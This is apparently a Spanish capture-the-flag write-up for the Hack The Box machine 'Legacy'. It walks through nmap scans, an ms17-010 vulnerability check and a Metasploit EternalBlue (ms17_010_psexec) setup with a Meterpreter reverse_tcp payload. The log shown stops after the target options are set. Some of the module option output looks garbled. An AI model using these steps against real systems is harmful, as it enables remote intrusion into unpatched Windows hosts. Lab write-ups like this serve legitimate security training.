

LEGACY

- 1. LEGACY
 - 1.1. Preliminar
 - 1.2. Nmap
 - 1.3. EternalBlue with Metasploit

1. LEGACY

[www](https://app.hackthebox.com/machines/Legacy)<https://app.hackthebox.com/machines/Legacy>

LEGACY 2

RETIRED MACHINE

Legacy

WINDOWS EASY

4.6 MACHINE RATING	37391 USER OWNS	38443 SYSTEM OWNS	14/03/2017 RELEASED
-----------------------	--------------------	----------------------	------------------------

Created by ch4p

Copy Link

Play Machine

1.1. Preliminar

Comprobamos si la máquina está encendida, averiguamos qué sistema operativo es y creamos nuestro directorio de trabajo. Parece que nos enfrentamos a una máquina

Windows.

```
> settarget "10.10.10.4 Legacy"
> ping 10.10.10.4

PING 10.10.10.4 (10.10.10.4) 56(84) bytes of data:
64 bytes from 10.10.10.4: icmp_seq=9 ttl=127 time=79.7 ms
64 bytes from 10.10.10.4: icmp_seq=10 ttl=127 time=42.4 ms
64 bytes from 10.10.10.4: icmp_seq=11 ttl=127 time=43.1 ms
64 bytes from 10.10.10.4: icmp_seq=12 ttl=127 time=43.2 ms
64 bytes from 10.10.10.4: icmp_seq=13 ttl=127 time=42.5 ms
^C
--- 10.10.10.4 ping statistics ---
13 packets transmitted, 5 received, 61.5385% packet loss, time 12112ms
rtt min/avg/max/mdev = 42.426/50.171/79.743/14.789 ms
Δ > /home/parrot/pryor > took 13s > |
```

1.2. Nmap

Escaneo de puertos sigiloso. Evidencia en archivo *allports*. Tenemos los *puertos 135, 139 y 445* abiertos.

```
> cd nmap
> nmap -sS -p- --open 10.10.10.4 -n -Pn --min-rate 5000 -oG allports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-19 13:32 CET
Nmap scan report for 10.10.10.4
Host is up (0.076s latency).
Not shown: 62726 closed tcp ports (reset), 2806 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds
Δ > /home/parrot/pryor/CTF/HTB/Legacy/nmap > took 14s > |
```

Escaneo de scripts por defecto y versiones sobre los puertos abiertos, tomando como input los puertos de *allports* mediante *extractPorts*. Vemos que nos enfrentamos a un *Windows XP*, el cual es ciertamente antiguo (2000).

```
> nmap -sCV -p135,139,445 -n -Pn --min-rate 5000 10.10.10.4 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-19 13:32 CET
Nmap scan report for 10.10.10.4
Host is up (0.057s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_ smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp:-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\X00
|   Workgroup: HTB\X00
|_ System time: 2024-02-24T16:30:36+02:00
|_ nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 005056b9865d (VMware)
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 5d00h57m38s, deviation: 1h24m50s, median: 4d23h57m38s
|_ smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.72 seconds
Δ > /home/parrot/pryor/CTF/HTB/Legacy/nmap > took 18s > |
```

Por tanto, vamos a comprobar si este sistema es vulnerable a *EternalBlue*. Para ello, lanzamos el script *smb-vuln-ms17-010* de *Nmap*. Vemos que el objetivo es

vulnerable.

```

> nmap -sV --script="smb-vuln-ms17-010" -p445 10.10.10.4
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-19 13:38 CET
Nmap scan report for 10.10.10.4
Host is up (0.045s latency).

PORT      STATE SERVICE      VERSION
445/tcp    open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Host script results:
|_ smb-vuln-ms17-010:
|_   VULNERABLE:
|_     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|_     State: VULNERABLE
|_     IDs: CVE:CVE-2017-0143
|_     Risk factor: HIGH
|_       A critical remote code execution vulnerability exists in Microsoft SMBv1
|_       servers (ms17-010).
|_     Disclosure date: 2017-03-14
|_     References:
|_       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds

```

1.3. EternalBlue with Metasploit

CVE-2017-0143 (EternalBlue):

Entramos a **Metasploit**, buscamos exploits para **EternalBlue**. Elegimos el que vemos en la siguiente imagen. Lanzamos el exploit, y obtenemos nuestra sesión de Meterpreter. Seguidamente, tras explorar los directorios, encontramos ambas banderas.

```

[msf](Jobs:0 Agents:0) >> use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set payload payload/windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> show options

Module options (exploit/windows/smb/ms17_010_psexec):

  Name          Current Setting  Required  Description
  ----          -
  DBGTRACE       false            yes       Show extra debug trace info
  LEAKATTEMPTS   99              yes       How many times to try to leak transaction
  NAMEDPIPE      /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       A named pipe that can be connected to (leave blank for auto)
  NAMEDPIPE      /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
  RHOSTS         445             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT         445             yes       The target port (TCP)
  SERVICE_DESCRIPTION  no              no        Service description to be used on target for pretty listing
  SERVICE_DISPLAY_NAME  no              no        The service display name
  SERVICE_NAME    no              no        The service name
  SHARE          ADMIN$          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain      .               no        The Windows domain to use for authentication
  SMBPass        no              no        The password for the specified username
  SMBUser        no              no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ----          -
  EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         192.168.1.130   yes       The listen address (an interface may be specified)
  LPORT         4444           yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set lhost 10.10.10.9
lhost => 10.10.10.9
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set rhosts
rhosts =>
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set rhosts 10.10.10.4
rhosts => 10.10.10.4

```